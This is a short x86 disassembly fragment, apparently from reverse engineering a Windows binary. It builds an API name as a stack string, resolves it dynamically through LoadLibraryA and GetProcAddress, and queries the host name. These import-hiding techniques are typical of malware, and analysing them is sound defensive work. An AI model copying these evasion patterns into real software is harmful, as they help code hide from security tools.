mov byte [ebp - 0x40b], 0x73
mov byte [ebp - 0x40a], 0x74
mov byte [ebp - 0x409], 0x72
mov byte [ebp - 0x408], 0x6c
mov byte [ebp - 0x407], 0x65
mov byte [ebp - 0x406], 0x6e
mov byte [ebp - 0x405], 0x41
mov byte [ebp - 0x404], 0
lea eax, [ebp - 0x40c]
push eax
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x410], eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [ebp - 0x410]
test eax, eax
jne 0x412cd5
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
mov ecx, dword [ebp + 0xc]
push ecx
call dword [ebp - 0x410]
mov esp, ebp
pop ebp
ret